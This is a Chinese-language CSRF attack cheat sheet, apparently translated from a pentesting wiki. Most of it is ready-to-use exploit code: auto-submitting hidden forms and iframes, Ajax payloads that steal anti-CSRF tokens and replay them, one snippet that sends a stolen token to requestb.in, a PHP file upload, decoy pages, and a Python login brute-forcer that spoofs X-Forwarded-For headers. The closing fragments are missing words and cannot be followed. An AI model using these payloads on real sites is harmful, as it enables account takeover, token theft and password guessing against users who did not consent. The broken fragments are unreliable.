  2. 修改内容类型:为了避免预检请求,同时确保服务器将内容识别为JSON,您可以使用 Content-Type: text/plain; application/json 发送数据。这不会触发预检请求,但如果服务器配置为接受 application/json,则可能会被正确处理。

绕过引用者/来源检查

避免引用者标头

应用程序可能仅在存在时验证 'Referer' 标头。为了防止浏览器发送此标头,可以使用以下HTML meta标记:

<meta name="referrer" content="never">

这会确保省略“Referer”标头,可能绕过某些应用程序中的验证检查。

正则表达式绕过

要在URL中设置服务器的域名,以便Referrer将其发送到参数中,您可以执行:

<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>

HEAD方法绕过

因此,如果GET请求受限,您可以发送一个将被处理为GET请求的HEAD请求。

利用示例

窃取CSRF令牌

使用HTML标签进行GET

<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available

其他可以用来自动发送GET请求的HTML5标签有:

<iframe src="..."></iframe>
<script src="..."></script>
<img src="..." alt="">
<embed src="...">
<audio src="...">
<video src="...">
<source src="..." type="...">
<video poster="...">
<link rel="stylesheet" href="...">
<object data="...">
<body background="...">
<div style="background: url('...');"></div>
<style>
body { background: url('...'); }
</style>
<bgsound src="...">
<track src="..." kind="subtitles">
<input type="image" src="..." alt="Submit Button">

表单 GET 请求

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

表单POST请求

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>

通过iframe进行表单POST请求

<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

Ajax POST 请求

<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value&param2=value2"
})
</script>

multipart/form-data POST 请求

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});

multipart/form-data POST 请求 v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

从iframe内部发起表单POST请求

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

窃取 CSRF 令牌并发送 POST 请求

function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;

// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}

xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

窃取 CSRF 令牌并使用 iframe、表单和 Ajax 发送 Post 请求

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;

document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

窃取 CSRF 令牌并使用 iframe 和表单发送 POST 请求

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

窃取令牌并使用2个iframe发送

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

使用Ajax窃取CSRF令牌并使用表单发送POST请求

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

使用 Socket.IO 进行 CSRF

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF登录暴力破解

该代码可用于使用CSRF令牌对登录表单进行暴力破解(还使用了头部X-Forwarded-For尝试绕过可能的IP黑名单):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

工具

参考资料

​

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根据,为了避免预检请求使用 POST 方法,这些是允许的 Content-Type 值:

示例(来自)将 JSON 数据发送为 text/plain:

SWF Flash文件利用:一种较不常见但可行的方法涉及使用SWF Flash文件来绕过此类限制。要深入了解此技术,请参考。

的第一部分解释了,一个路由器被设置为将HEAD请求处理为GET请求,且不返回响应主体 - 这是一个常见的解决方法,不仅仅适用于Oak。与处理HEAD请求的特定处理程序不同,它们只是交给GET处理程序,但应用程序会删除响应主体。

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